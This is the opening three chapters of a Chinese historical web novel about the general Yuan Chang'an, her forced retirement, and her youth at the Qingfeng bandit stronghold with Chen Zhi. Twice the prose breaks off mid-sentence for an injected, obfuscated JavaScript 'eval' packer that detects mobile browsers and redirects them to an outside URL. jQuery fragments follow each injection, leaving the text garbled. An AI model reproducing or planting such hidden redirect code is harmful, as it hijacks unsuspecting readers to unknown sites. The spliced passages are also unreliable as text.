《天下长治久安》 1. 天下大同,鸟尽弓藏 “开渠灌城。” 元长安一声令下,大水入城,即为深渊。一城百姓,命丧黄泉。 ----------------- 公元一二一年,元长安水淹乐平郡都城灵台,攻下西北肃州最后一郡,北羌政权就此完结。这宣示着中原大地上空笼罩三十四年的黑暗,终于落幕,世人也迎来了久违的曙光。 “奉天承运,皇帝诏曰:朕承天意,思贤念功,览征东将军沈让之忠诚勇猛,才德兼备,实为国家之栋梁,社稷之重臣。今特封卿为昭武侯,食邑千户,以旌其功,以励群臣。钦此!” “奉天承运,皇帝诏曰:征南将军崔涯自投身国事以来,历战阵而不惧,守社稷而忘身,屡建奇功,朕甚慰之。今特封卿为宁义侯,食邑千户。望卿今后继续秉持忠诚之心,辅佐朕躬,共谋国家大计,以保社稷安宁,百姓乐业。钦此!” “奉天承运,皇帝诏曰:朕惟贤能之士,国家之栋梁,御边守土,非征北将军莫属。征北将军元长安,才略兼备,勇猛善战,屡建奇功,深得朕心。兹特封尔为镇国将军,赐金册金印,以示宠褒。钦此!” 文忠立于朝堂之上,宣读着许文达的三封圣旨。但是堂下的百官,却是心思各异。 许文达天下一统,少不了沈让、崔涯和元长安这三位乱世英杰。他们三人跟着许文达平定八王之乱,驱逐异族,立下汗马功劳,当封侯拜相。 如今沈让和崔涯双双封侯,而元长安依旧是个将军,许文达压制之意太过明显。但是,谁让元长安,战功赫赫,威名远扬,且杀伐之心太重。 屠杀受降的将士,水淹敌军的都城,十七年的征战,死在她手上的人不计其数。 有人做过粗略统计,她杀的人不下百万。 更何况,这元长安还是一介女流。 “臣,叩谢圣恩。” 元长安像是早就知道了会是这么个结果,脸色十分平静。倒是沈让和崔涯二人,面带不平,想要替元长安问一句,为什么? 元长安十七岁跟着许文达上战场,立过无数战功,其功劳不亚于沈、崔二人。再加上多年征战,让本就身中无解之毒的她,透支了身体的根本。 然而,许文达大手一挥,文忠瞬间就明白了其中的意思,扯着嗓子喊道:“退朝!” “吾皇万岁万岁万万岁!” 沈让性子莽撞,若不是崔涯暗地里拉着他的胳膊,怕是他会直接冲到许文达的龙椅之前,问他究竟是何意? 出了大殿,沈让和崔涯都不知道如何开口。倒是元长安一副无所谓的神情,让他们二人感到十分诧异。 终于,崔涯忍不住问道:“长安,你是不是一早就知道,会是这个结果?” 元长安双手一背,气定神闲道:“知不知道的有那么重要嘛?反正我对这封侯拜相一点兴趣都没有,打了这么多年的仗,我只想好好乐呵乐呵。万鹤楼的芙蓉醉,我可是念叨好几天了。要不要一起去喝点?我请客。” 沈让想都没想,直接拒绝道:“芙蓉醉味道太冲,口感太刺激,也就是你能受得了,我反正不喝,要喝也是喝百花琼酿。” 而崔涯环臂站定在侧,目光在元长安身上来回打量着:“我说长安,你这是真不放在心上,还是装的啊?咱们从小一起长大,你什么德行,我还不了解?赶紧说说你到底是什么想法,当真服气?” 沈让这时候才反应过来,与崔涯站在同一条线上,眉头紧皱,嘴唇微抿。 元长安两手一摊,神情无辜道:“什么服气不服气的,而且我能有什么想法?你们能不能别整天想些有的没的。还有,现在不比以前,天子脚下,有些话有些事,你们掂量着点。” 沈让和崔涯知道这是她在提醒他们二人,不要因为她的事情,而去得罪皇上。毕竟现在天下初定,他们手握重兵,已经是皇上的眼中钉、肉中刺。若是一不小心,得罪了皇上,他们的下场难以想象。 “行了,这件事情就过去了,不管怎么说,咱们兄妹三人好好的就行。”沈让眸光微动,忽而勾唇一笑:“听说添香楼来了一个异域美人,一舞倾城。等会儿喝过酒,去看看?” “异域美人再美,也比不过嫂子……” 话音未落,文忠小跑追了过来。一边跑,一边喊道:“镇国将军请留步。” 元长安和沈让、崔涯纷纷回头看去,只见文忠跑到他们面前,气喘吁吁地说道:“陛下召见,镇国将军跟奴才走一趟。” “陛下召见?”元长安与沈让、崔涯相互对视,满脸写着疑惑。 文忠弯着腰,嗓音尖细:“没错,烦请镇国将军跟奴才走一趟,别让陛下等着急了。” 元长安对沈让、崔涯二人拱手道:“那两位兄长先去万鹤楼等我,我随后就到。” 沈让和崔涯点头应允道:“好。” 去养心殿的路上,元长安对文忠打听道:“文公公是陛下身边的老人,不知今日陛下突然召见,所为何事?” 而文忠是个圆滑的老狐狸,说话滴水不漏:“奴才怎敢揣测圣意,如今镇国将军风头正盛,想来应该是要嘉奖将军吧?” 元长安笑了笑,没有说话。很显然,从文忠的口中问不到什么有用的话。 很快就到了养心殿,文忠先行进去汇报,元长安则趁机在殿外整理一下自己的仪容仪表。 文忠走出来之后,对着元长安做了“请”的手势:“将军请。” 元长安阔步走到殿内,迎面而来的是一本奏折。她迅速地躲过,就听到许文达怒不可遏地声音:“元长安,你真是能耐了,竟然敢开渠灌城!也是,整个朝堂上下,找不出第二个人,敢做这样丧心病狂的事情!” “北羌大将巴图布赫誓死不降,死守乐平郡。微臣实在没有办法了,只能出此下策。”元长安站得笔直,低垂着头,丝毫没有反思之意。 许文达气不打一处来,指着元长安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142841|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒骂道:“当年你坑杀恒、吴二王共三十万受降士兵,已经惹得天怒人怨。朕收你兵权,罚你做了半年马夫,就是希望你长长记性。可是你…你……” 许文达被气的一句话也说不出来。 “要杀要剐,仅凭陛下抉择,微臣绝无二话。” 元长安一副死猪不怕开水烫的模样,让许文达恨不得将她拖出去,打她三十军棍,让她老实一点。不知道他又想到了什么,突然对着元长安笑道:“罢了,朕不与你计较这些,毕竟你也是为了江山社稷,是有功之臣。不过,你也老大不小了,该成家了。这些年,你为国家立下赫赫战功,朕不能亏了你。” 元长安知道,成亲是假,收兵权是真。 “回陛下,微臣暂无成亲的打算。” 许文达向后倚靠在龙椅的椅背上,神情慵懒,但语气却不容拒绝道:“如今沈让和崔涯都已经成婚了,而且沈让的大儿子都到了骑马练武的年纪。朕心意已决,为你亲自指婚,军中事务你就交给别人去做吧。皇后给朕推荐了几个合适的人选,朕看何宗那个人就不错。虽说此人身子孱弱了些,但好歹也是名臣之后,与你还是相配的。” 元长安见许文达态度坚决,“噗通”一声跪在地上,面容淡然:“微臣多谢陛下好意,何宗此人,微臣看不上。实不相瞒,微臣已有心仪之人。本来就打算待驱逐北羌之后,便辞去官职,与他云游四方。既然陛下有意为微臣指婚,那微臣斗胆恳求陛下,准许臣辞官出京。” 许文达难得来了兴致,“没想到你这丫头,还是钟情之人。那陈治当真值得你为他放弃一切?朕记得你们二人之间,也没多大的情谊啊?” 元长安道:“微臣与怀久的情谊,或许在当时那动乱的局势下,无足轻重。但在微臣心中,青丝成霜,岁月不居;碧落黄泉,情深不渝。” 许文达摸着自己的山羊胡子,沉思了片刻,感叹道:“陈怀久多智,却不入仕途,倒是个另类之人。也罢,既然你心意已决,朕也不好做棒打鸳鸯的事情来。朕,允了。不过,朕保留你镇国将军之位,许你带职赋闲。” 元长安磕头谢恩道:“微臣多谢陛下恩准。” 说的好听是带职赋闲,其实就是收了兵权,许她带职,也算是给百官和世人一个完美的交代。 出了皇宫的元长安,抬头看着高悬的太阳。日光刺目,她却觉得怎么也看不够。 回想她这一生,无父无母,被沈老大(沈让之父)收留。十三岁,认识陈怀久。十四岁,同沈让和崔涯一起,跟在许文达的身边。十七岁,上战场,成了许文达麾下的一名悍将。二十四岁,平定八王之乱。三十四岁,覆灭北羌政权,受封镇国将军。 到头来,终究是躲不过帝王的猜忌。想来,皇上很早就有收回兵权的打算了,只是她没想到会那么快而已。 罢了罢了,多年征战,她也累了,想好好休息…… “长安,我来接你回家了。” 2. 初次的相遇 公元八四年,晋厉帝与宠妃同游瑶台湖。突遇狂风暴雨,晋灵帝不慎落水,呛水而亡,将岌岌可危的大晋王朝推给了其弟晋灵帝,年号崇顺。 晋灵帝生性怯懦,纵容皇后尤氏、公主永清把持朝政。宠信两朝奸臣章伯雍,任其诬告大臣,为非作歹,弄权专国。 崇顺三年,恒王不甘屈居一隅,连同吴王、昱王、博陵王起兵谋反。 诸王为争夺皇位,不断引发内战战火,史称“四王之争”。 崇顺九年六月壬午日,晋灵帝被尤太后和永清公主毒杀于清池殿,终年四十五岁。后尤氏、永清联合章伯雍等一干别有用心的文臣武将废太子而扶持年仅三岁的九皇子登基,改元熙宁。 熙宁二年,永王、齐王、常山王、临安王四王顺“天意民心”,继恒、吴、昱和博陵四王后,也纷纷自立门户,引发“八王之乱”。 八王之乱,生灵涂炭,国力衰弱,民不聊生。大晋周边的异族,趁火打劫,整个大晋北部(包括东北、西北两个地区)全都沦陷,成了北羌、上番和山戎的领土。 熙宁四年,清风寨 “沈让,你到底行不行啊,连我都打不过。” 被嘲讽的少年也不气恼,眉眼一弯,道:“我爹夸你武学天赋极高,我还不相信。现在看来,确实如此,竟然能接住我两锤。” 说着,便将自己的一对虬龙铁锤,丢到两旁的小兵怀里。沈让两侧各四个小兵,他们冷不丁地接住虬龙铁锤,差一点把他们给压倒在地。 毕竟沈让的这对虬龙铁锤,各重四百斤。除了沈让天生神力,几乎没有单人能拿得动它。 “别看长安现在才十三岁,大当家可没少下功夫练她。”坐在椅子上的崔涯,翘着二郎腿,手上摇着折扇,旁边的桌子上摆着茶壶、茶碗和果盘。茶碗还散发着淡淡的热气,真是惬意至极。 元长安将自己的长生枪,随手递给一旁的小兵。然后走到崔涯面前,拿起桌子上茶壶,对着壶嘴猛灌了几口。 崔涯见状,面露嫌弃之色,道:“你说你,跟沈让学什么不好,非要学他那样粗鲁。” 而沈让则是直接拿起他的茶碗,一口就喝了个干净,然后用袖口一抹嘴巴,说道:“你以为谁都跟你一样,没有公子命,却有公子病。喝个茶水,还那么多废话。” 崔涯对着沈让翻了个白眼,站起身,掸了掸衣服的褶皱,“我可是名门之后,怎么就没有公子命了?” 沈让和元长安都不知道听了多少遍这句话,后者拿起果盘上的果子,在衣服上擦了擦,然后咬了一口,说道:“咱俩都是大当家救上山的,你要是名门之后,那我还是皇亲贵胄呢?” 崔涯似乎并不在意他们对自己的嘲讽,他只是淡淡道:“和你们也说不明白。” 说完,转身离开,也不给沈让和元长安反应的机会。 待他走远之后,沈让用胳膊肘轻轻碰了碰元长安的手臂,面色有些不自然道:“我听我爹说过,当年他下山路过一座破庙,碰到了一个气息奄奄的年轻女子,还有一个幼童。我爹说,看他们的穿着应该是个富贵人家。而当时崔涯已经六岁了,早已记事。说不准,他还真是名门之后。” 元长安将果子的最后一口吃完,然后将果核随手丢到桌面上,说道:“现在这个世道,你走在大街上,看到的乞丐说不定也会是什么皇亲贵胄、名门之后。” “话虽如此,但咱们刚刚说的话,会不会太伤他的心了?” 元长安看了一眼沈让,见他是一脸沉闷,便说道:“要不咱俩下山一趟,给他买点爱吃的点心和爱看的书?” 沈让突然一拍脑门,“这个办法行,走,下山。” ----------------- 厉阳郡位于京畿九郡之一,虽不如京都人流如织、车水马龙,但也不至于荒废残破、人烟稀少。而清阳县,未受到战火波及,还算是太平安稳。 陈治一身破烂旧衣,脸上的污泥比城墙还厚,脸上依稀还能看到肤色。他的头发乱糟糟的,比鸡窝还乱。他双手捧着不知道谁丢的一个破碗,和其他乞丐一般,跪在地上乞求路人的施舍。 三个月前,他的父兄被恒王郑吉所杀,整个陈氏家族乃至京畿四大望族,皆被恒、吴二王屠杀。他的母亲,他的姊妹,为了掩护他逃跑,受尽凌辱,咬舌自尽。 幸好,他躲过了追杀,逃到了厉阳郡清阳县。 陈治已经三天三夜未进水米了,现在是头脑发晕,手脚无力。他都快忘了自己第一次被人当做乞丐的时候,那种气愤和不甘,那种不吃嗟来之食的硬气。 可是他发现,在死亡面前,骄傲、骨气……什么都不值一提。更何况,他不能死,他还没有为他的父母手足和族人报仇。 一位路过的小姑娘,梳着双平髻,还插着两朵小花。她小脸圆润,脸颊红扑扑的,穿的布料看着舒适柔软,也十分干净,一看就是某家的千金小姐。 小姑娘往陈治的碗里放了一串糖葫芦,弯弯的眉毛下,一双水汪汪的大眼睛看着陈治。她笑嘻嘻地说道:“大哥哥,这个给你吃。” 陈治看着破碗里,那串红润透亮的糖葫芦,心中涌起百般滋味。 “大哥哥不喜欢吃吗?怎么哭了?”小姑娘看着陈治从眼眶中掉落的眼泪,一时无措。冰糖葫芦那么好吃,大哥哥为什么会不喜欢吃? 陈治抬起手,将脸上的泪水抹去,扯着笑脸安慰道:“大哥哥很喜欢吃,谢谢你,小姑娘。” 小姑娘听到大哥哥也喜欢吃糖葫芦,立马笑容满面,心情大好。 “囡囡。” 不远处,一位穿着富贵的妇人,朝着他们这边招了招手。小姑娘看到妇人的那一瞬间,笑意更甚:“我娘来找我了,大哥哥再见。” “再见。” 陈治看着那贵妇人牵着小姑娘的手,渐行渐远,直到再也看不见他们的身影。他收回自己的目光,拿起破碗里的糖葫芦,囫囵吞枣,三下五除二便吃了个干净。 就在这时,陈治突然被踹到在地。 又来了,每天都要来这么一回,陈治双手抱头,护着自己的脸,整个人都快麻木了。 乞丐头子踹了几脚,还觉得不够,抄起旁边的木棍就要往陈治的身上砸去。 不知从何处丢来一颗石子,正中乞丐头子的手腕。手腕一阵疼痛,手上的木棍也掉在了地上。 元长安快步上前,将陈治扶了起来,“你没事吧?” 她没想到,只不过是随便溜达溜达,竟然能碰到一群人围殴一个人的事情。元长安从小在山寨长大,生性野蛮不羁,但有一个好处,就是喜欢多管闲事。 “没…没事。”陈治见扶他的人是小姑娘,本身的教养让他与元长安拉开了距离。 那乞丐头子握着自己发疼的手腕,看着元长安的眼神,似乎想要把她杀死。“我说你这个小姑娘,竟然敢暗算老子,我看你是活得不耐烦了!” 元长安的脾气向来不好,更何况还是面对一个威胁她的人。她的眼神带着杀气,嘴角上扬:“是吗?你可以试一试。” 乞丐头子被惹怒了,他示意身后的乞丐一起上,务必要把他们两个的命留在这里。元长安根本就不把他们几个人放在眼里,她空着手对上四五个乞丐,陈治倒是慌张了起来。 他也不管什么男女大防,拉着元长安的胳膊,语气透着紧张和不安:“这位小姑娘,你还是快走吧,他们都不是什么好人。” 眼前这个小姑娘和他堂妹差不多的年纪,他真心不忍让她因自己而受到伤害。 元长安看向陈治的眼神,带着几分嫌弃,都这种局面了,她能走才怪。更主要的是,她正好找人练练手。 乞丐头子趁着陈治与她说话的空档,拿起木棍就朝着元长安挥来。元长安伸出一只手将陈治推到一边,自己一个闪身躲过了乞丐头子的偷袭,顺便朝着他的屁股狠狠踢了一脚。 乞丐头子被踹飞在地,捂着自己的屁股,哀嚎道:“给我狠狠地教训他们!我要他们的命!” 话音刚落,剩下的乞丐一拥而上,朝着元长安就是扬拳飞腿。元长安先是弯腰躲过一个人的拳头,然后抬手抵挡住另一个人的飞踢,顺手抓住他的脚踝,用力一扯。那人重心不稳,重重地摔在了地上。 最后,元长安一个回旋,单腿横扫,将剩下的几个人鞭扫在地,又在他们的脸上留下青紫的淤青,还有殷红的血水。 街上突然多几个死人,在这个动荡的局势下,并不会引起注意和恐慌,因为这已经成了司空见惯的事情。 但是,沈让突然出现,元长安只好罢手,放过了他们。看着他们离开时的狼狈,沈让一头雾水,问道:“怎么我一来他们就走了?” 元长安活动着自己的手腕,漫不经心道:“你这五大三粗的,谁看了不害怕?” 说实话,沈让的长相并不是大晋人所提倡的阴柔美。他的脸棱角分明,浓眉大眼,鼻梁高挺。身形魁梧,皮肤黝黑,粗犷阳刚。毫不夸张的说,沈让往那一站,妥妥的土匪形象。 沈让提着买好的点心和话本子,看向陈治的时候,眉毛一扬:“这是?” 元长安弯下腰拍了拍沾染了灰尘的下摆,随口说道:“刚刚多管闲事救的。” 陈治被沈让带有探究性的眼神,看得很不自在。他往旁边的乱草堆挪了挪身子,试图遮挡住那束让自己不适的目光。 “也是可怜人。”沈让看到陈治的身上虽然很脏,但是从露在眼前的手臂处,不难看出已经是青一块紫一块了,“这位兄弟,要不要跟我们上山?” 元长安觉得沈让和沈老大太像了,就喜欢捡东西回家,当然也包括捡人回家。 陈治一脸警惕,连连摇头,就怕拒绝的晚了,面前的大汉直接将自己绑回山寨。 “不,不用了。”他虽落魄到成为乞丐,但要是跟着他们上山当土匪,他还是不愿意的。 元长安一针见血道:“你若不跟我们上山,那你就要换地方要饭了。毕竟刚刚你已经得罪了那几个乞丐,说不准什么时候他们给你一刀,到时候你连自己怎么死的都不知道。” 沈让嘴角抽搐,还得是长安,只有她才能面无表情地说出这些扎心窝子的话。 陈治犹豫的时候,沈让继续说道:“我们清风寨和其他山寨不一样,你就放心吧,不会对你怎么样的。” 清风寨? 陈治刚来厉阳郡的时候,听说过清风寨每一任寨主,都要将“替天行道,劫富济贫”八个大字当做寨规。没想到,眼前这两个人竟然是清风寨的人。 “考虑的怎么样了?要不要跟着我们上山?”沈让看他神色放松,想来是心动了。 果不其然,陈治点点头:“好,在下愿意跟你们上山。” “跟我们上山,以后就是一家人了。我叫沈让,这是我三妹,元长安。” 沈让高兴地拍了拍陈治的后背,差点没把他拍死,毕竟他的力气可不是一般的大。 “在下陈治,字怀久。”陈治被他拍的,咳嗽了好几声。 回到寨子,沈让将点心和话本子一同交给元长安,让她去给崔涯送过去,而自己则带着陈治去一处闲置的木屋住下。 “这个屋子本来是给别人住的,那个人半个月前下山跑了,你就凑合着吧,以后有什么需要可以来找我,找长安也行,不过她脾气不怎么好。” “多谢沈兄。”陈治被热情的沈让吓得有些局促。 沈让是个粗大条的性子,乐呵呵地说道:“我应该年长你几岁,我今年十七,你呢?” “十六。” “我比你大一岁,你以后叫我沈大哥就行,沈兄我听着别扭。” 陈治道:“沈大哥。” 沈让见他衣衫褴褛,浑身都是尘土灰泥,便道:“你先整理整理,衣服这里面有。崔涯那小子喜欢来这里,说什么这里安静,所以他的衣服应该在这里有一两件。” “多谢。” 沈让交代完,便直接离开了。陈治觉得自己是真的发臭,也不再多犹豫,在院子里打了凉水沐浴。 次日一早,元长安来喊陈治,一推门就看到他正坐在床边,盯着手中的东西入神。 “陈治,大当家喊你去前堂。” 元长安的话,将陈治的神给喊了回来。他抬头看去,颔首行礼道:“多谢姑娘告知,容在下收拾一番,稍后便去。” 陈治头发披散在背,身上穿着宽松的大衣袍,确实不适合立马动身。 元长安点头道:“我在外面等你。”说完,不等他回应,便退出房间,守在房门口。 片刻功夫,房门从里面被打开,陈治走了出来。直到现在,元长安才看清楚陈治的相貌。 他的皮肤白皙,脸的轮廓线条柔和。不浓不淡的剑眉下,一双清澈的眼眸似秋水般静谧,左眼角下的泪痣犹如朱砂一颗,平添了些许柔情与风流。鼻梁高挑似耸立的山峰,他的唇色偏淡,脸上挂着谦和的笑意。 好一个面如冠玉的翩翩公子,又有给人一种不食人间烟火的孤傲。单单是一件普普通通的粗布麻衣,都穿出了价值不菲的感觉。 不得不说,元长安看顺眼了,对陈治的好感飙升! “元姑娘,请。” 元长安知道他死规矩多,也不跟他掰扯,直接走在前面给他带路。 议事堂 沈老大从二当家的嘴里知道了陈治的身世,没想到自家傻儿子竟然带了一个世家公子上山。不过,在这个动荡的形势下,别说是世家公子了,就算是皇亲国戚,沦落成乞丐或者横死街头,都不足为奇。 “老二,你打听的是否准确?”沈老大还是不放心道,毕竟事关山寨,但凡有一点差错,整个清风寨就会被踏平,数千寨民要么死于刀剑之下,要么成为难民,流离失所。 二当家坐在沈老大左手边第一个位置上,摇着羽毛扇子,顺捋着自己的山羊胡,“沈让将陈治带上山的时候,我见了他一面,甚是熟悉。后来听长安说他叫陈治,字怀久。我第一反应就是少陵陈氏的多智公子,当即就派耗子下山去隔壁少陵郡打听他的消息。 大当家就算不相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142842|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信我,也得相信耗子。他为人忠心耿耿,脑子又灵活,从厉阳郡跑到隔壁的少陵郡,一路上收集到不少关于少陵陈氏的消息。还特意找人绘画了一幅陈氏多智公子陈怀久的画像,等陈治到了之后,大当家拿着这画像对比一下,不就知道了。” 沈老大也并不是不相信二当家,只不过他要考虑的东西太多了,必须要谨慎行事。 “也好,我已经让长安去喊他过来,到时候我们两个审他一审。” 说话间,一个小兵前来通报,说小元爷带着新来的人正在外面等着。沈老大一只胳膊搭在虎皮座椅的扶手上,气势威严:“让他们进来。” 陈治是第一次见到这种场面。议事堂很大,大概能容纳上百人。屋子的墙壁上挂着各种各样的兽首,但都是龇牙咧嘴的狰狞模样。靠近墙壁的地方摆放着各式各样的兵器,寒光凌厉,好似下一瞬间就要见血。 不过陈治虽心中发怵,但他面上不显露分毫。他跟在元长安的身后,站在沈老大正对着的地方。 沈老大体格魁梧,脸上带着岁月风霜的痕迹,一双浓眉下是炯炯有神的眼睛,仿佛能射穿人的身体。他穿着一件粗布衣衫,袒露的肌肉如铁块般紧实。沈让的样貌和体格,像极了他。 而坐在一旁的二当家,身着一袭青色长袍,袍上绣有简单的纹饰,袖口随风轻轻摆动,更添了几分飘逸。他的面容清秀,眼神明亮,举止从容,给人一种温文尔雅的感觉。 “长安,你先坐下。”沈老大声音雄厚有力量,元长安闻言直接坐在二当家旁边的位置上,然后翘着二郎腿,等着看好戏。 沈老大微微眯起双眼,目光如鹰隼般锐利,浑身上下散发出威慑的气息。而陈治身姿挺拔,面色平静,看向沈老大的眼睛淡然又无畏。 二人目光交汇的片刻,沈老大对面前之人很是欣赏。他轻轻咳嗽了几声,刻意压低了声音:“你姓甚名谁?哪里人士?为何上山?” 陈治知道自己既然上了清风寨,就没有了回头的机会,所以也没有隐瞒自己的身份。 “在下姓陈名治,字怀久,少陵人士。三个月前,恒王郑吉、吴王郑枫大肆屠杀京畿四望,少陵陈氏首当其冲。我陈氏一族皆死于郑吉之手,因母亲和姊妹拼死一搏,我侥幸逃脱郑吉爪牙的追杀,然后一路向东,逃到了清阳县。 昨日若非元姑娘出手相救,在下怕是死在了宵小之手。因听说过清风寨的威名,知其替天行道,惩恶扬善,便跟着沈大哥和元姑娘上山投靠。” 陈治说完之后,沈老大先是看向一边的二当家,见他给自己点了点头,然后又转过视线落在陈治身上。 “你当真愿意入我清风寨?” 其实沈老大这句话明显就是多此一举,现在的陈治已经不再是什么世家名门之后,而是这乱世之中,普通到不能在普通的难民,生存都成了难题,他还有什么条件拒绝。 “在下愿意。郑吉屠杀我陈氏一族,此仇不共戴天。还望大当家收留,给个活命的机会。只要能活者,总有一日,必报灭族之仇。” 听到陈治的回答,沈老大并不感到意外,他道:“既然入了清风寨,以后就是一家人了。清风寨没那么多中看不中用的规矩,只要求一点,不得背叛清风寨,否则死无葬身之地。这一点,你要记住。” 陈治微微颔首,道:“在下明白。” 这时二当家突然插话道:“在寨子里,你不用这般拘礼,怎么轻松怎么来。” “在…是,我知道了。” 元长安站起身,伸了伸懒腰,语气慵懒道:“过两天,我带你去寨子里逛一逛。” 陈治看了一眼沈老大,沈老大点点头道:“入了清风寨,也该多了解了解我们的寨子。既然长安主动请缨,你先休息两天,然后跟着她逛一逛,也熟悉熟悉。” 陈治这才放心道:“是。” 元长安和陈治走后,沈老大从怀里掏出来一张信封,然后随手一丢,正好落到了二当家的身上。二当家拆开信封,细读信上的内容。刚刚还平静的面孔,有了动容。 “他许文达什么意思?招安?他招的什么安,不过就是一个食邑不足百户的承袭侯爷,靠祖荫得以在厉阳郡立足。现在竟然还大放厥词,想要将我们清风寨招安,真是不自量力。” 沈老大站起身来,背着手走下阶梯,边走边道:“周城侯许文达现在的势力不可小觑,自他承袭侯爵,先不说先后吞并了厉阳郡长青、扶风、柳河、德阳、春林、慈乐等六个县的反晋军势力。就说前两年,许文达可是招安了厉阳郡好几个山寨头子,而且都愿意在他麾下效力。 听说前段时间,磐石寨的武大当家不愿归顺,他便派军攻打。本来是招安,后来就变成了围剿。磐石寨死伤惨重,他们武大当家被一箭射穿胸膛,当场毙命。后来是他们的三当家举白旗,接受招安。 现在他们又将矛头指向了我们,不知道是福还是祸啊?” 二当家的也听说了磐石寨的事情,之前的磐石寨人口众多,高达五千余人。其势力不低于清风寨,或者比之更甚,只不过清风寨的位置条件好,才与磐石寨难分高下。 “看来,这回是碰到硬茬子了。” 沈老大走到门口,仰头望着蓝天白云,感慨道:“既来之,则安之,顺其自然吧。那个陈治,你再派人去少陵调查清楚,他的底细越细越好。” 二当家站起身,拱手道:“明白。” ----------------- “王爷,陈家二公子陈治,失踪了。”柳全站在郑吉身后的位置,俯首作揖,很是恭敬。 郑吉转过身来,语气平淡道:“失踪就失踪,有什么好单独禀报的。本王看重的,是这些百年世家所积累的财富。至于人,不过是顺手除掉的蝼蚁而已。他们这些人的生死,不值一提。” 然而,柳全还是不放心道:“这陈家二公子,才比子建,更是人称多智公子。下官怕留他一命,恐有后患。” 郑吉从来没有把这种文弱书生放在眼里,更何况还是一个年仅十六岁的毛头小子。他随便一摆手道:“这件事你看着办,不必向我禀报。” “是。” “对了,”郑吉想起来正事,“宫里的情况怎么样了?” 柳全回禀道:“据无白传来的消息,尤氏有意联合吴王,废掉小皇帝,罢黜丞相章伯雍。不过,章伯雍在朝中势力还算有些影响,尤氏不敢轻举妄动。” 郑吉脸上更是不屑:“好一场狗咬狗的戏码,让无白继续留意着,本王倒要看看,他们这出戏能唱到什么时候。” “王爷,宫里的事情可以先放一放,主要是清风寨的事情,倒是要早些解决。”柳全建议道。 郑吉抬手揉了揉自己的太阳穴,叹了一口气,道:“清风寨久攻不下,本王也是无能为力。” 柳全突然说道:“既然外攻不行,不如就让他们内讧。” 郑吉的眼神看向柳全,意味不明。柳全刚抬起来的头,又立马低下。 “就按你说的办。” “是。” 3. 加入清风寨 陈治在清风寨安然地住了三天,除了那个二当家时不时地套自己话,其他时间过得顺心又自在。 “陈治,跟我出去转转。”元长安一大早就来到陈治的小屋外,扯着嗓子大喊道。 陈治打开房门出来的时候,一眼就看到元长安手里拿着一根细长的树枝来回比划,看样子是在练习什么招式。 “怎么来的这么早?” 陈治关好房门,走近元长安,与她保持一定的距离。万一被她一不小心伤到了,受苦的还是自己。 元长安将手中的树枝丢掉,然后拍了拍手上的尘土。她看着陈治那般俊美出尘的样子,刻意放低了声音:“早点逛完,我等一下还得去练武场。” 陈治拱手道:“这倒是在下的不是了。” 元长安一甩自己的高马尾,“走吧。” “寨子里人不少,但是你可以不用都认识。不过,沈让和崔涯,倒是可以相互往来。” “多谢指点。” “沈让是大当家唯一的儿子,但是有时候脑子一根筋,莽撞行事,是个直性的人。崔涯性格跟他相反,人是好人,但他心眼子贼多,跟二当家不相上下。你以后小心点,别被他骗了。” “怀久谨记。” “怀久?陈怀久?” “怀久是我的小字。” “那我以后叫你陈怀久。” “皆可。” 一路上,都是元长安说,陈治酌情回答。最后元长安觉得无趣,便不再说话。只有在碰到寨民和小兵的时候,跟他们打声招呼,其余时间都是沉默不语。 “陈怀久,你多大啊?” 元长安一直耿耿于怀的事情,就是自己的年龄。 厉阳郡不只有清风寨一个山寨,大大小小的山寨也有十几个。山寨与山寨之间也多有摩擦,再加上朝廷、反晋军,以及其他王侯的军队都对山寨虎视眈眈。 以至于,自沈老大当了大当家,十几年的时间里,不知道抵挡了多少波敌人的进犯。特别是最近这段时间,隔壁的青龙寨眼馋清风寨得天独厚的地理位置,连续好几天派人在寨门口叫嚣宣战。 而朝廷和恒王、周城侯那边也是看中清风寨优越的地理位置,先礼后兵。派人前来谈判了好几次未果,就派兵攻打,皆大败而归。 每次清风寨被攻打的时候,沈老大总是将她和寨民放在一起。她也想为寨子出一份力,可沈老大却说:“长安,你还太小,等你再长大一些,我就让你当先锋官。” 沈让和崔涯都能挡在寨子面前,直面刀枪。特别是沈让,一对虬龙铁锤也捶死过十几个敌军士兵。崔涯虽没有真刀真枪地拼杀过,但也靠着计谋,活捉过几个敌人。 元长安自问,自己武功比沈让和崔涯更甚。所以对于每次敌军进犯,自己都是被保护的那一个,她的心里就很不服气。 “十六岁。”陈治回道。 元长安看着比自己高出一个头的陈治,双臂环胸,“行吧,又是我最小。” 又是一阵沉默。 “小元爷。”路过一家小面馆,老板娘看到元长安,笑意直达眼底,朝着他们招了招手:“今儿刚压的面,来尝一尝啊。” 元长安侧头问道:“要不要尝一尝?” 这边元长安刚问完,陈治的肚子就不争气地“咕噜咕噜”叫了起来。 “走吧,小爷请客。” 元长安和陈治坐在外面的地方,正好能将这条小街上的小店铺子尽收眼底。 陈治只是从别人口中听说过清风寨,今日逛了之后才发现,清风寨的位置条件乃是上天的佳作。 山寨的占地面积广,大概占地三千亩,而主寨就占地五百多亩。山清水秀,峰峦如聚,峭壁若屏。清风寨位于天河上游,东依山势,北临悬崖,地理位置上就是易守难攻的布局。 “我瞧着寨子里也开了些店铺,为什么还要下山去购买东西?”陈治将自己的碗筷用热水烫了一下,摆好,然后好奇地问道。 